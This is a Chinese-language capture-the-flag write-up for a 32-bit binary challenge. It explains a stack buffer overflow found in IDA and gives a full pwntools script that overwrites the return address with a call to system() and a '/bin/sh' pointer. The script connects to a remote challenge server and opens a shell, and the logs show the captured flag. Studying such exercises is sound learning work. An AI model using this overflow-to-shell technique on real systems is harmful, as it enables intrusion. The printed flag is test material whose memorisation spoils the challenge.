Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

观察

用ida打开文件查看main函数:

image-20250512102521588

image-20250512102542636

可以发现没有输入长度限制。

接着查看vulnerable_function()的stack结构:

image-20250512104017747

此外,main函数自己会调用system()

image-20250512102629831

现在来找call _system这个命令的地址:

image-20250512141203926

在这个页面右键点击_system并选择Text view

image-20250512141248843

便可以确定这行命令在text(即代码)部分的地址:

image-20250512141342258

1
0804849E

接着使用Shift+F12查看文件里的string:

image-20250512103636013

由于system函数实际上接受的是一个字符串的指针,所以我们可以直接用在上面找到的/bin/sh的地址并将其作为参数传给system函数。

注意!这个程序是32bit的。

可以通过很多方面来判断:

  1. 程序中使用了eax, ecx, esp, ebp等寄存器。这些都是32位寄存器。

    (如果是 64 位程序,寄存器通常会是:rax, rcx, rsp, rbp, 等。)

  2. 地址宽度是32bit的(最简单也是最重要的判断条件)

所以之后需要使用pwn库的p32(),而不是p64()。

Exploit

我们做以下操作:

  1. 覆盖掉buf以及saved_registers部分(=136+4)
  2. vulnerable_function()的返回地址修改成call _system()的地址
  3. 将system()函数的参数改为/bin/sh的地址

便可以成功打开shell。

所以我们需要做的是发送这段内容:

1
2
3
payload = b"a" * (136 + 4)      # buf 以及 saved_registers 的部分
payload += p32(0x0804849E) # call _system() 的地址
payload += p32(0x0804A024) # /bin/sh 的地址

之后便是使用ls以及cat flag命令读取flag。

Exploit代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

r = remote("223.112.5.141", 50648)
print(r.recvline())

payload = b"a" * (136 + 4) # buf 以及 saved_registers 的部分
payload += p32(0x0804849E) # call _system() 的地址
payload += p32(0x0804A024) # /bin/sh 的地址

r.sendline(payload)

r.interactive()

# [x] Opening connection to 223.112.5.141 on port 50648
# [x] Opening connection to 223.112.5.141 on port 50648: Trying 223.112.5.141
# [+] Opening connection to 223.112.5.141 on port 50648: Done
# b'Input:\n'
# [*] Switching to interactive mode
# ls
# bin
# dev
# flag
# level2
# lib
# lib32
# lib64
# cat flag
# cyberpeace{630b1c1c66bca13f722670008c4ec2af}
# [*] Interrupted
# [*] Closed connection to 223.112.5.141 port 50648